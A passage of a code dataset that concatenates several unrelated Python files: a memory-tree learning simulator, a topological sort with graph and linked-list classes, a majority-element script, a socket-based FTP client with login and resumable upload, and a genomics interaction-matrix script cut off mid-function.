motorVal\n\n    def trainExperts(self):\n        start_tick = cfg.tick - cfg.MINIBATCH\n        end_tick = cfg.tick   # only have sensor and pred, no motor[end_tick] yet\n        seqs = set([tuple(np.concatenate((self.sensors[i],self.motors[i],self.sensors[i+1])))\n                for i in xrange(start_tick,end_tick-1)])\n        contexts = set([l[:cfg.CONTEXTLEN] for l in seqs])\n        for s in seqs:\n            if s not in self.uniqSeqs:\n                c = s[:cfg.CONTEXTLEN]\n                if c in self.uniqContexts:\n                    update_id = -1\n                    preds = [e.predict(c) for e in self.experts]\n                    for i in xrange(cfg.NEXPERTS-1):\n                        pred = preds[i]\n                        try:\n                            loc = preds.index(pred,i+1)\n                        except ValueError:\n                            continue\n                        else:\n                            update_id = loc\n                            break\n                    if update_id != -1 :\n                        self.experts[update_id].update(c,s)\n                    # if every expert predicts differently, no update - no learning!\n                else:\n                    for e in self.experts:\n                        e.addSeq(s)\n            # not novel, do nothing\n        self.uniqSeqs = self.uniqSeqs.union(seqs)        \n        self.uniqContexts = self.uniqContexts.union(contexts)        \n\n    def bootstrapBranch(self):\n        # happens once only in the first batch\n        for branch in self.branches:\n            branch.bootstrap()\n\n\n    def trainRoot(self):\n        start_tick = cfg.tick - cfg.MINIBATCH\n        end_tick = cfg.tick   # only have sensor and pred, no motor[end_tick] yet\n        # train root for predicting which branch to use.\n        idx = np.zeros(cfg.MINIBATCH,dtype=np.int)\n        train_data = np.zeros([cfg.MINIBATCH,cfg.CONTEXTLEN*cfg.ROOTMEM])\n        for t in xrange(start_tick,end_tick):\n            train_data[t-start_tick,:] = self.longContext(t-cfg.ROOTMEM,cfg.ROOTMEM)\n            result = self.sensors[t]\n            for iBranch in xrange(cfg.NBRANCHES):\n                if (self.branches[iBranch].predictTest(t-1) == result).all():\n                    idx[t-start_tick] = iBranch\n                    break\n        self.clf.partial_fit(train_data,idx,range(cfg.NBRANCHES))  # fit model\n\n    def longContext(self,startingTick,contextLength):\n        context = []\n        tick = startingTick\n        for i in xrange(contextLength):\n            context = np.concatenate((context,self.sensors[tick],self.motors[tick]))\n            tick += 1\n        return context\n \n    def randomCommand(self):\n        return np.random.randint(cfg.NACTIONS)\n\n    def greedyCommand(self):\n        lps = [b.get_lp for b in self.branches]\n        bid = np.argmax(lps)\n        return self.branches[bid].getCommand()\n\nclass MemTreeBranch:\n    def __init__(self, parent, bid): \n        self.parent = parent\n        self.experts = parent.experts\n        self.bid = bid\n        self.seq_length = cfg.CONTEXTLEN*cfg.BRANCHMEM\n        self.clf = linear_model.SGDClassifier() \n        self.activeTicks = []\n        self.predictions = []\n        self.errors = []\n        self.lps = [0]\n        self.choices = np.zeros(cfg.NTICKS)\n        self.actions = []\n        self.counter = 0\n\n    def get_lp(self):\n        return self.lps[-1]\n\n    def pushError(self,error,action):\n        self.errors.extend([error])\n        self.actions.extend([action])\n        tau = cfg.Tau\n        theta = cfg.Theta\n        sum_error_old = sum(self.errors[-tau-theta : -tau])\n        sum_error_new = sum(self.errors[-theta: -1])\n        lp = (sum_error_old - sum_error_new) / theta\n        self.lps.extend([lp])\n\n    def getCommand(self):\n        tau = cfg.Tau*10\n        theta = cfg.Theta*10\n        lps = np.zeros(cfg.NACTIONS)\n        for iMotor in xrange(cfg.NACTIONS):\n            index = [i for i, j in enumerate(self.actions) if j == iMotor]\n            if len(index) >= (theta+tau):\n                errors = [self.errors[i] for i in index]\n                sum_error_old = sum(errors[-tau-theta : -tau])\n                sum_error_new = sum(errors[-theta: -1])\n                lp = (sum_error_old - sum_error_new) / theta\n                lps[iMotor] = lp\n        if sum(lps) != 0:\n            return np.argmax(lps)\n        else:\n            return np.random.randint(cfg.NACTIONS)\n\n\n    def bootstrap(self):\n        i = self.bid + cfg.BRANCHMEM\n        while i < cfg.tick:\n            self.predict0(i)\n            i += cfg.NBRANCHES\n        self.partialTrain()\n\n    def predict0(self,t):\n        context = np.concatenate((self.parent.sensors[t],self.parent.motors[t]))\n        iExpert = np.random.randint(cfg.NEXPERTS)\n        self.activeTicks.extend([t])\n        self.parent.branchChoices[t] = self.bid\n        self.counter += 1\n        action = self.parent.motors[t]\n        prediction = self.experts[iExpert].predict(context)\n        self.predictions.extend(prediction)\n        self.parent.predictions[t+1] = prediction\n        error = get_error(prediction,self.parent.sensors[t+1])\n        self.errors.extend([error])\n        self.actions.extend([action])\n\n    def predict(self):\n        t = cfg.tick\n        context = np.concatenate((self.parent.sensors[t],self.parent.motors[t]))\n        currentContext = self.parent.longContext(t-cfg.BRANCHMEM+1,cfg.BRANCHMEM)\n        iExpert = self.clf.predict(currentContext)\n        prediction = self.experts[iExpert].predict(context)\n        self.predictions.extend(prediction)\n        self.activeTicks.extend([t])\n        self.counter += 1 \n        if self.counter % cfg.MICROBATCH == 0:\n            self.partialTrain\n        return prediction\n\n    def predictTest(self, t):\n        currentContext = self.parent.longContext(t-cfg.BRANCHMEM+1,cfg.BRANCHMEM)\n        context = np.concatenate((self.parent.sensors[t],self.parent.motors[t]))\n        iExpert = self.clf.predict(currentContext)\n        prediction = self.experts[iExpert].predict(context)\n        return prediction\n\n    def partialTrain(self):\n        idx = np.zeros(cfg.MICROBATCH,dtype=np.int)\n        p = self.parent\n\n        train_data = np.zeros([cfg.MICROBATCH,cfg.CONTEXTLEN*cfg.BRANCHMEM])\n        for i in xrange(1,min(self.counter,cfg.MICROBATCH)):\n            t = self.activeTicks[-1-i]\n            longC = p.longContext(t-cfg.BRANCHMEM+1,cfg.BRANCHMEM)\n            context = np.concatenate((p.sensors[t],p.motors[t]))\n            result = p.sensors[t+1]\n            for iExpert in xrange(cfg.NEXPERTS):\n                if ((self.experts[iExpert].predict(context)) == result).all():\n                    idx[i] = iExpert\n                    break\n        self.clf.partial_fit(train_data,idx,classes=range(cfg.NEXPERTS))  # fit model\n\nclass MemTreeExpert:\n    def __init__(self, parent, eid): \n        self.parent = parent\n        self.eid = eid\n        self.seqs = set()  # unique sequences used for prediction.\n\n    def predict(self, context):\n        for sequence in self.seqs:\n            if tuple(sequence[:cfg.CONTEXTLEN]) == tuple(context):\n                return sequence[cfg.CONTEXTLEN:]\n        # not found!\n        # print \"expert {} could not find context {}\".format(self.eid,context)\n        return np.zeros(cfg.NSENSORS)\n\n    def addSeq(self, seq):\n        self.seqs.add(tuple(seq))\n\n    def update(self, context, seq):\n        for s in self.seqs:\n            if s[:cfg.CONTEXTLEN] == context:\n                self.seqs.discard(s)\n                break\n        self.addSeq(seq)\n\n\n","sub_path":"Simulator/memTree.py","file_name":"memTree.py","file_ext":"py","file_size_in_byte":9775,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"148467586","text":"\"\"\"Author - Anantvir Singh, concept reference:= CLRS, Page 612\"\"\"\n\n\"\"\"Only works on DAG's(Directed Acyclic Graphs), because if there are cycles, then how can we decide which node depends on which one !, it will be a deadlock !\"\"\"\n\n# ------------------------------------- Topological Sort(Topsort) --------------------------------\n\n# Topsort has many practical implementations like its used in build systems, like Maven or it can be used in university course scheduling as it helps to learn what pre reqs are required\n\n\n# ------------------------------------ Vertex -----------------------------------------------\nclass Vertex:\n    def __init__(self,x):\n        self.info = x\n        self.color = None\n        self.parent = None\n        self.d = None\n        self.f = None\n    \n    def element(self):\n        return self.info\n    \n    def __hash__(self):\n        return hash(id(self))       # Has function created so that a vertex can be used as a key in a dict or set as dict keys need to be hashable objects !\n\n\n# ------------------------------------ Edge -----------------------------------------------\nclass Edge:\n    def __init__(self,u,v,x):\n        self._origin = u\n        self._destination = v\n        self.info = x\n    \n    def endpoints(self):                    # return (u,v) tuple for end points of this edge\n        return (self._origin,self._destination)\n    \n    def opposite(self,v):                   # return vertex opposite to the given vertex v\n        return self._origin if v is self._destination else self._origin\n    \n    def element(self):                      # Return value associated with this edge\n        return self.info\n    \n    def __hash__(self):                     # Make edge hashable so that it can be used as key of a map/set\n        return hash((self._origin,self._destination))\n\n# ------------------------------------ Graph -----------------------------------------------\nclass Graph:\n    \n    def __init__(self,directed = False):\n        self._outgoing = {}                 # map to hold vertices as keys and their incidence collection dict as value\n                                            # i.e _outgoing = {u: {v : e},v: {u : e,w : f}   --> vertex u is attacjed to vertex v via edge e, similarly vertex 'w' is attached to vertex 'v' via edge 'f'\n        self._incoming = {} if directed == True else self._outgoing     # create another map called '_incoming' only if 'directed' is True else, just refer to _outgoing for undirected graphs\n\n    def is_directed(self):\n        return self._outgoing is not self._incoming         # if both _outgoing and _incoming maps are different, then it is a directed graph. \n\n    def vertex_count(self):\n        return len(self._outgoing)\n    \n    def vertices(self):\n        return self._outgoing.keys()                        # returns vertices of graph as a python list []\n\n    def edge_count(self):\n        edges = set()\n        for eachDict in self._outgoing.values():\n            edges.add(eachDict.values())\n        return len(edges)\n    \n    def get_edge(self,u,v):\n        return self._outgoing[u].get(v)                     # get(v) used because it returns None if v is not present in self._outgoing[u]. If we use self._outgoing[u][v], then it will give KeyError if v is not in self._outgoing[u]\n\n    def degree(self,v,outgoing = True):\n        dic = self._outgoing if outgoing else self._incoming\n        return len(dic[v])\n    \n    def incident_edges(self,v,outgoing = True):\n        dic = self._outgoing if outgoing else self._incoming\n        for edge in dic[v].values():\n            yield edge\n    \n    def insert_vertex(self,x = None):\n        #v = Vertex(x).info                                       # Create new Vertex instance\n        v = Vertex(x)\n        self._outgoing[v] = {}\n        if self.is_directed():\n            self._incoming[v] = {}                          # If directed graph, make an incoming edge\n        return v\n    \n    def insert_edge(self,u,v,value = None):\n        #e = Edge(u,v,value).info\n        e = Edge(u,v,value)                                 # Create new Edge instance\n        self._outgoing[u][v] = e\n        self._incoming[v][u] = e\n        print(v)\n    \n    def get_vertex_dict(self):\n        return self._outgoing\n\n# ------------------------------------- Linked List ---------------------------------------------\nclass Node:\n    def __init__(self,info,link= None):\n        self.info = info\n        self.link = link\n\nclass LinkedList:\n    def __init__(self):\n        self.head = None\n        self.tail = None\n        self.current_ptr = None         # maintain a current pointer\n        self.size = 0\n    \n    def add_item_at_rear(self,item):\n        if self.head == None:           # list initially empty ?\n            newNode = Node(item)\n            self.head = newNode         \n            self.tail = newNode\n            self.size += 1\n        else:\n            newNode = Node(item)\n            self.tail.link = newNode\n            self.tail = newNode\n            self.size += 1\n        return newNode\n    \n    def add_item_at_front(self,item):\n        if self.head == None:\n            newNode = Node(item)\n            self.head = newNode\n            self.tail = newNode\n            self.current_ptr = newNode\n            self.size += 1\n        else:\n            newNode = Node(item)\n            newNode.link = self.head\n            self.head = newNode\n            self.size += 1\n        return newNode\n    \n    def add_item_after_a_given_node(self,item,loc):      # loc = location of new given node\n        if loc == None:\n            newNode = Node(item)\n            newNode.link = self.head\n            self.head = newNode\n            self.size += 1\n        else:\n            newNode = Node(item)\n            newNode.link = loc.link\n            loc.link = newNode\n            self.size += 1\n        return newNode\n    \n    def delete_item_from_front(self):\n        if self.head == None:\n            print('Cant delete from front. List is empty !')    # better raise exception here to avoid runtime errors\n        temp_pointer = self.head\n        self.head = self.head.link\n        temp_pointer.link = None\n        return temp_pointer.info\n\n\n    def traverse_linked_list(self):\n        temp_list =[]\n        if self.current_ptr == None:\n            self.current_ptr = self.head                #initialize current pointer to start/head of list\n        while self.current_ptr != None:                 # while last item with link = Null/None is not reached\n            temp_list.append(self.current_ptr.info)     #process the item\n            self.current_ptr = self.current_ptr.link    #increment the pointer\n        return temp_list\n\n    def search_item(self,item):                         # Assume list is unsorted\n        location = None\n        if self.current_ptr == None:\n            self.current_ptr = self.head\n        while self.current_ptr != None:\n            if self.current_ptr.info == item:\n                location = self.current_ptr\n                self.current_ptr = self.current_ptr.link\n            else:\n                self.current_ptr = self.current_ptr.link\n        \n        if location == None:\n            print('Cannot find the item !')         # or raise any exception\n        return location\n\n# ------------------------------------- Topological Sort ----------------------------------------\ntime = 0\ndef DFS(G):                                 \n    vertex_map = G.get_vertex_dict()\n    for vertex in G.vertices():\n        vertex.color = 'WHITE'\n        vertex.parent = None\n    global time\n    for u in vertex_map:\n        if u.color == 'WHITE':\n            DFS_Visit(G,u)\n\n\n\"\"\"Procedure is exactly same as Depth First Search except line 211,212\"\"\"\nLL= LinkedList()\ndef DFS_Visit(G,u):\n    vertex_map = G.get_vertex_dict()\n    global time\n    time = time + 1\n    u.d = time\n    u.color = 'GRAY'\n    for v in vertex_map[u].keys():\n        if v.color == 'WHITE':\n            v.parent = u\n            DFS_Visit(G,v)\n    u.color = 'BLACK'\n    time = time + 1\n    u.f = time\n    LL.add_item_at_front(u)                 # When a node is completely explored, add it to front of a linked list\n    return LL                               # Return the list\n\n\ng = Graph(directed = True)\na = g.insert_vertex('a')\nb = g.insert_vertex('b')\nc = g.insert_vertex('c')\nd = g.insert_vertex('d')\ne = g.insert_vertex('e')\n\ng.insert_edge(a,b,1)\ng.insert_edge(a,d,2)\ng.insert_edge(c,a,4)\ng.insert_edge(c,d,3)\ng.insert_edge(d,b,5)\ng.insert_edge(d,e,7)\ng.insert_edge(b,e,6)\n\nDFS(g)\n\nlinked_list = DFS(g)\nlst = linked_list.traverse_linked_list()\n\nfor item in lst:\n    print(item.info)\n\n\n","sub_path":"Topological_Sort.py","file_name":"Topological_Sort.py","file_ext":"py","file_size_in_byte":8632,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"81363136","text":"import sys\r\nlines = open(sys.argv[1], 'r')\r\nfor line in lines:\r\n    line = line.replace('\\n', '').replace('\\r', '')\r\n    if len(line) > 0:\r\n        parts = [int(x) for x in line.split(',')]\r\n        partsSet = sorted(list(set(parts)))\r\n        counts = [len([y for y in parts if y == x]) for x in partsSet]\r\n        major = [x for x in range(len(counts)) if counts[x] > len(parts) / 2]\r\n        print(str(partsSet[major[0]]) if len(major) > 0 else 'None')\r\n        \r\n\r\nlines.close()\r\n","sub_path":"Easy/The Major Element/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":484,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"535810496","text":"#! /usr/bin/env python\n# -*- coding:utf-8 -*-\n# __author__ = HaiShenMing\n# 2017/2/14 10:19\n\nfrom socket import socket\nimport json\nimport os\nimport time\nimport sys\nimport hashlib\n\nSTATE_CODE = {\n    251: '注册成功',\n    252: '登录成功',\n    248: '登录失败',\n    800: \"文件未上传完整，是否续传！ \",\n    801: \"文件已存在！\",\n    802: \"文件上传中！\",\n\n    900: \"md5 valdate\"\n}\n\n\nclass Client:\n    def __init__(self):\n\n        self.client = socket()\n        self.client.connect(('127.0.0.1', 8080))\n        re_data = self.client.recv(1024).decode('utf_8')\n        print(re_data)\n        self.main_dir = os.path.dirname(os.path.abspath(__file__))\n        while True:\n            order = input('请输入命令\\n>>>')\n            if hasattr(self, order):\n                func = getattr(self, order)\n                func()\n\n    def receive(self):\n        re_data = self.client.recv(1024).decode('utf-8')\n        re_data = json.loads(re_data)\n        return re_data\n\n    def sign_up(self):\n        user_name = input('请输入用户名\\n>>>')\n        password = input('请输入密码\\n>>>')\n        data = {'action': 'sign_up', 'user_name': user_name, 'password': password}\n        data = json.dumps(data)\n        self.client.send(data.encode('utf-8'))\n        re_data = self.receive()\n        print(re_data)\n\n    def sign_in(self):\n        user_name = input('请输入用户名\\n>>>')\n        password = input('请输入密码\\n>>>')\n        data = {'action': 'sign_in', 'user_name': user_name, 'password': password}\n        data = json.dumps(data)\n        self.client.send(data.encode('utf-8'))\n        re_data = self.receive()\n        print(STATE_CODE[re_data['status_code']])\n        if re_data['status_code'] == 252:\n            sign_state = True\n            self.user = user_name\n            self.current_path = '/' + self.user\n\n        else:\n            sign_state = False\n\n        if sign_state == True:\n            print(\"登录成功，欢迎使用！\")\n            while 1:\n                cmd_info = input(\"[%s]\" % self.current_path).strip()\n                if len(cmd_info) == 0: continue\n                cmd_list = cmd_info.split()\n                if hasattr(self, \"%s\" % cmd_list[0]):\n                    func = getattr(self, \"%s\" % cmd_list[0])\n                    func(cmd_list)\n                else:\n                    print(\"找不到命令\")\n\n    def progress_percent(self, has, total, ):\n\n        rate = float(has) / float(total)\n        rate_num = int(rate * 100)\n        # if self.last != rate_num:\n        sys.stdout.write(\"%s%% %s\\r\" % (rate_num, \"#\" * rate_num))\n\n        # self.last = rate_num\n\n    def post(self, cmd_list):\n\n        action, local_path, target_path = cmd_list\n\n        if \"/\" in local_path:\n            local_path = os.path.join(self.main_dir, local_path.split(\"/\"))\n        local_path = os.path.join(self.main_dir, local_path)\n\n        file_name = os.path.basename(local_path)\n        file_size = os.stat(local_path).st_size\n\n        data_header = {\n            'action': 'post',\n            'file_name': file_name,\n            'file_size': file_size,\n            'target_path': target_path\n        }\n\n        self.client.send(json.dumps(data_header).encode())\n\n        result_exist = str(self.client.recv(1024), \"utf8\")\n        has_sent = 0\n\n        if result_exist == \"800\":\n            choice = input(\"the file exist ,is_continue?\").strip()\n            if choice.upper() == \"Y\":\n                self.client.sendall(bytes(\"Y\", \"utf8\"))\n                result_continue_pos = str(self.client.recv(1024), \"utf8\")\n                print(result_continue_pos)\n                has_sent = int(result_continue_pos)\n\n            else:\n                self.client.sendall(bytes(\"N\", \"utf8\"))\n\n        elif result_exist == \"801\":\n            print(STATE_CODE[801])\n            return\n\n        file_obj = open(local_path, \"rb\")\n        file_obj.seek(has_sent)\n        start = time.time()\n\n        while has_sent < file_size:\n            data = file_obj.read(1024)\n            self.client.sendall(data)\n            has_sent += len(data)\n            self.progress_percent(has_sent, file_size)\n\n        file_obj.close()\n        end = time.time()\n        print(\"cost %s s\" % (end - start))\n        print(\"post success!\")\n\n    def post_md5(self, cmd_list):\n\n        if len(cmd_list) == 3:\n\n            action, local_path, target_path = cmd_list\n        else:\n            action, local_path, target_path, is_md5 = cmd_list\n\n        if \"/\" in local_path:\n            local_path = os.path.join(self.main_dir, local_path.split(\"/\"))\n        local_path = os.path.join(self.main_dir, local_path)\n\n        file_name = os.path.basename(local_path)\n        file_size = os.stat(local_path).st_size\n\n        data_header = {\n            'action': 'post_md5',\n            'file_name': file_name,\n            'file_size': file_size,\n            'target_path': target_path\n        }\n\n        if self.__md5_required(cmd_list):\n            data_header['md5'] = True\n\n        self.client.send(json.dumps(data_header).encode())\n\n        result_exist = str(self.client.recv(1024), \"utf8\")\n        has_sent = 0\n\n        if result_exist == \"800\":\n            choice = input(\"the file exist ,is_continue?\").strip()\n            if choice.upper() == \"Y\":\n                self.client.sendall(bytes(\"Y\", \"utf8\"))\n                result_continue_pos = str(self.client.recv(1024), \"utf8\")\n                print(result_continue_pos)\n                has_sent = int(result_continue_pos)\n\n            else:\n                self.client.sendall(bytes(\"N\", \"utf8\"))\n\n        elif result_exist == \"801\":\n            print(STATE_CODE[801])\n            return\n\n        file_obj = open(local_path, \"rb\")\n        file_obj.seek(has_sent)\n        start = time.time()\n\n        if self.__md5_required(cmd_list):\n            md5_obj = hashlib.md5()\n\n            while has_sent < file_size:\n\n                data = file_obj.read(1024)\n                self.client.sendall(data)\n                has_sent += len(data)\n                md5_obj.update(data)\n                self.progress_percent(has_sent, file_size)\n\n            else:\n                print(\"post success!\")\n                md5_val = md5_obj.hexdigest()\n                self.client.recv(1024)  # 解决粘包\n                self.client.sendall(md5_val.encode(\"utf8\"))\n                response = self.client.recv(1024).decode(\"utf8\")\n                print(\"response\", response)\n                if response == \"900\":\n                    print(STATE_CODE[900])\n\n        else:\n            while has_sent < file_size:\n\n                data = file_obj.read(1024)\n                self.client.sendall(data)\n                has_sent += len(data)\n\n                self.progress_percent(has_sent, file_size)\n\n            else:\n                file_obj.close()\n                end = time.time()\n                print(\"\\ncost %s s\" % (end - start))\n                print(\"post success!\")\n\n    def __md5_required(self, cmd_list):\n        '''检测命令是否需要进行MD5验证'''\n        if '--md5' in cmd_list:\n            return True\n\n    def cd(self, cmd_list):\n\n        data_header = {\n\n            'action': 'cd',\n\n            'path': cmd_list[1]\n        }\n\n        self.client.send(json.dumps(data_header).encode())\n\n        data = self.client.recv(1024)\n        print(data.decode(\"utf8\"))\n        self.current_path = '/' + os.path.basename(data.decode(\"utf8\"))\n\n    def mkdir(self, cmd_list):\n\n        data_header = {\n            'action': 'mkdir',\n            'dirname': cmd_list[1]\n        }\n\n        self.client.send(json.dumps(data_header).encode())\n        data = self.client.recv(1024)\n        print(data.decode(\"utf8\"))\n\n    # def rm(self, cmd_list):\n    #     data_header = {\n    #         'action': 'rmdir',\n    #         'target_path': cmd_list[1]\n    #     }\n    #     self.client.send(json.dumps(data_header).encode())\n    #     data = self.client.recv(1024)\n    #     print(data.decode(\"utf8\"))\n\n    def pwd(self, cmd_list):\n\n        data_header = {\n            'action': 'pwd',\n        }\n\n        self.client.send(json.dumps(data_header).encode())\n        data = self.client.recv(1024)\n        print(data.decode(\"utf8\"))\n\n    def ls(self, cmd_list):\n\n        data_header = {\n            'action': 'ls',\n        }\n        self.client.send(json.dumps(data_header).encode())\n\n        data = self.client.recv(1024)\n\n        print(data.decode(\"utf8\"))\n\n\nclient = Client()\n","sub_path":"作业2-FTP服务/FTP-client/ftp-client.py","file_name":"ftp-client.py","file_ext":"py","file_size_in_byte":8451,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"39756325","text":"import sys\nimport argparse\nimport numpy as np\n\ndef parseArgument():\n\t# Parse the input\n\tparser =\\\n\t\targparse.ArgumentParser(description = \"Make a differential interaction matrix for regions in a bed file based on 2 long-distance interaction matrix files\")\n\tparser.add_argument(\"--bedFileName\", required=True, \n\t\thelp='Bed file with bins for interactions, sorted by chromosome, start, end')\n\tparser.add_argument(\"--interactionOneFileName\", required=True, \n\t\thelp='First long-distance interactions file, sorted by 1st loop chromosome, 1st loop start, 1st loop end, 2nd loop start, 2nd loop end')\n\tparser.add_argument(\"--interactionTwoFileName\", required=True, \n\t\thelp='Second long-distance interactions file, sorted by 1st loop chromosome, 1st loop start, 1st loop end, 2nd loop start, 2nd loop end')\n\tparser.add_argument(\"--outputFileNamePrefix\", required=True, help='Prefix of name of file where interaction matrix will be recorded, should not end with _')\n\toptions = parser.parse_args();\n\treturn options\n\t\ndef getCoordinates(bedLine):\n\t# Get the coordinates of a line of a bed file\n\tbedLineElements = bedLine.strip().split(\"\\t\")\n\treturn (bedLineElements[0], int(bedLineElements[1]), int(bedLineElements[2]))\n\t\ndef getAllCoordinates(options):\n\t# Get the coordinates of all lines of a bed file\n\tbedFile = open(options.bedFileName)\n\tbedCoordinates = [getCoordinates(line) for line in bedFile.readlines()]\n\tbedFile.close()\n\treturn bedCoordinates\n\t\ndef initializeInteractionMats(numMats, bedCoordinates):\n\t# Initialize interaction matrices\n\tinteractionMats = []\n\tfor i in range(numMats):\n\t\t# Initialize a new interaction matrix and add it to the list\n\t\tinteractionMats.append(np.zeros((len([bc[1] for bc in enumerate(bedCoordinates) if bc[1][0] == bedCoordinates[0][0]]), len([bc[1] for bc in enumerate(bedCoordinates) if bc[1][0] == bedCoordinates[0][0]]))))\n\treturn interactionMats\n\t\ndef getInteractionInfo(interactionLine):\n\t# Get the information for an interaction\n\tif interactionLine == \"\":\n\t\t# At the end of the file, so return no information\n\t\treturn [(\"\", 0, 0), (\"\", 0, 0), -1.0]\n\tlineElements = interactionLine.strip().split(\"\\t\")\n\tfirstLoopEnd = (lineElements[0], int(lineElements[1]), int(lineElements[2]))\n\tsecondLoopEnd = (lineElements[3], int(lineElements[4]), int(lineElements[5]))\n\tinteractionStrength = float(lineElements[6])\n\treturn [firstLoopEnd, secondLoopEnd, interactionStrength]\n\t\ndef initializeIncrementedValues():\n\t# Initialize values that will be incremented\n\tlastCoordinateIndex = 0\n\tlastChrom = \"\"\n\ttotalInteractions = 0\n\treturn [lastCoordinateIndex, lastChrom, totalInteractions]\n\t\ndef interactionTwoFirst(firstLoopEndOne, secondLoopEndOne, firstLoopEndTwo, secondLoopEndTwo):\n\t# Determine whether the 2nd interaction is earlier in the genome\n\tif firstLoopEndTwo[0] == \"\":\n\t\t# At the end of the 2nd interaction file, so the 1st interaction is earlier\n\t\treturn False\n\tif firstLoopEndOne[0] < firstLoopEndTwo[0]:\n\t\t# The 1st interaction is on an earlier chromosome, so it is earlier\n\t\treturn False\n\tif firstLoopEndOne[0] > firstLoopEndTwo[0]:\n\t\t# The 2nd interaction is on an earlier chromosome, so it is earlier\n\t\treturn True\n\tif firstLoopEndOne[1] < firstLoopEndTwo[1]:\n\t\t# The 1st interaction starts earlier on the chromosome, so it is earlier\n\t\treturn False\n\tif firstLoopEndOne[1] > firstLoopEndTwo[1]:\n\t\t# The 2nd interaction starts earlier on the chromosome, so it is earlier\n\t\treturn True\n\tif secondLoopEndOne[1] < secondLoopEndTwo[1]:\n\t\t# The 1st interaction ends earlier on the chromosome, so it is earlier\n\t\treturn False\n\tif secondLoopEndOne[1] > secondLoopEndTwo[1]:\n\t\t# The 2nd interaction ends earlier on the chromosome, so it is earlier\n\t\treturn True\n\tif firstLoopEndOne[2] < firstLoopEndTwo[2]:\n\t\t# The 1st interaction starts earlier on the chromosome, so it is earlier\n\t\treturn False\n\tif firstLoopEndOne[2] > firstLoopEndTwo[2]:\n\t\t# The 2nd interaction starts earlier on the chromosome, so it is earlier\n\t\treturn True\n\tif secondLoopEndOne[2] < secondLoopEndTwo[2]:\n\t\t# The 1st interaction ends earlier on the chromosome, so it is earlier\n\t\treturn False\n\tif secondLoopEndOne[2] > secondLoopEndTwo[2]:\n\t\t# The 2nd interaction ends earlier on the chromosome, so it is earlier\n\t\treturn True\n\treturn False\n\t\ndef saveDifferentialInteractionFile(options, lastChrom, interactionMatOne, interactionMatTwo):\n\t# Save the file with the differential interactions\n\toutputFileName = options.outputFileNamePrefix + \"_\" + lastChrom + \".txt\"\n\tnp.savetxt(outputFileName, np.log2(interactionMatOne + 1) - np.log2(interactionMatTwo + 1), fmt='%.4f')\n\t\ndef recordOldDiffInitializeNewChrom(options, lastChrom, interactionMatOne, interactionMatTwo, newChrom, bedCoordinates, totalInteractions):\n\t# Record the data from the previous chromosome and initialize the new chromosome\n\tif lastChrom != \"\":\n\t\t# Record the previous chromosome\n\t\tsaveDifferentialInteractionFile(options, lastChrom, interactionMatOne, interactionMatTwo)\n\t\ttotalInteractions = totalInteractions + interactionMatOne.shape[0]\n\t\tinteractionMatOne = np.zeros((len([bc[1] for bc in enumerate(bedCoordinates) if bc[1][0] == newChrom]), len([bc[1] for bc in enumerate(bedCoordinates) if bc[1][0] == newChrom])))\n\t\tinteractionMatTwo = np.zeros((len([bc[1] for bc in enumerate(bedCoordinates) if bc[1][0] == newChrom]), len([bc[1] for bc in enumerate(bedCoordinates) if bc[1][0] == newChrom])))\n\tlastChrom = newChrom\n\tprint(lastChrom)\n\treturn interactionMatOne, interactionMatTwo, totalInteractions, lastChrom\n\t\ndef peakOverlapsInteraction(loopEnd, bedCoordinate):\n\tif (((loopEnd[1] >= bedCoordinate[1]) and (loopEnd[1] < bedCoordinate[2])) or ((loopEnd[2] > bedCoordinate[1]) and (loopEnd[2] <= bedCoordinate[2])))\\\n\t\tor (loopEnd[1] <= bedCoordinate[1]) and (loopEnd[2] >= bedCoordinate[2]):\n\t\t# The peak overlaps the interaction\n\t\treturn True\n\treturn False\n\t\ndef incrementInteractionMat(interactionMat, currentCoordinateIndex, secondCoordinateIndex, interactionStrength, totalInteractions):\n\t# Increment the values in the interaction matrix\n\tinteractionMat[currentCoordinateIndex - totalInteractions, secondCoordinateIndex - totalInteractions] = interactionMat[currentCoordinateIndex - totalInteractions, secondCoordinateIndex - totalInteractions] + interactionStrength\n\tinteractionMat[secondCoordinateIndex - totalInteractions, currentCoordinateIndex - totalInteractions] = interactionMat[secondCoordinateIndex - totalInteractions, currentCoordinateIndex - totalInteractions] + interactionStrength\n\treturn interactionMat\n\t\ndef incrementApproriateInteractionMat(interactionMatOne, interactionMatTwo, interactionOne, currentCoordinateIndex, secondCoordinateIndex, interactionStrength, totalInteractions):\n\t# Increment the appropriate interaction matrix\n\tif interactionOne:\n\t\t# Increment the 1st interaction matrix\n\t\tinteractionMatOne = incrementInteractionMat(interactionMatOne, currentCoordinateIndex, secondCoordinateIndex, interactionStrength, totalInteractions)\n\telse:\n\t\t# Increment the 2nd interaction matrix\n\t\tinteractionMatTwo = incrementInteractionMat(interactionMatTwo, currentCoordinateIndex, secondCoordinateIndex, interactionStrength, totalInteractions)\n\tsecondCoordinateIndex = secondCoordinateIndex + 1\n\treturn [interactionMatOne, interactionMatTwo, secondCoordinateIndex]\n\ndef makeDifferentialInteractionMatForBed(options):\n\t# Make an interaction matrix for regions in a bed file based on a long-distance interaction matrix file\n\t# ASSUMES THAT ALL CHROMOSOMES IN THE INTERACTION AND PEAK FILES ARE THE SAME\n\tbedCoordinates = getAllCoordinates(options)\n\t[interactionMatOne, interactionMatTwo] = initializeInteractionMats(2, bedCoordinates)\n\t[interactionOneFile, interactionTwoFile] = [open(interactionFileName) for interactionFileName in [options.interactionOneFileName, options.interactionTwoFileName]]\n\t[firstLoopEndOne, secondLoopEndOne, interactionStrengthOne] = getInteractionInfo(interactionOneFile.readline())\n\t[firstLoopEndTwo, secondLoopEndTwo, interactionStrengthTwo] = getInteractionInfo(interactionTwoFile.readline())\n\t[lastCoordinateIndex, lastChrom, totalInteractions] = initializeIncrementedValues()\n\twhile (interactionStrengthOne >= 0) and (interactionStrengthTwo >= 0):\n\t\t# Iterate through the interactions and get the interaction strength of each\n\t\tinteractionOne = True\n\t\t[firstLoopEnd, secondLoopEnd, interactionStrength] = [firstLoopEndOne, secondLoopEndOne, interactionStrengthOne]\n\t\tif (interactionStrengthOne < 0) or interactionTwoFirst(firstLoopEndOne, secondLoopEndOne, firstLoopEndTwo, secondLoopEndTwo):\n\t\t\t# The 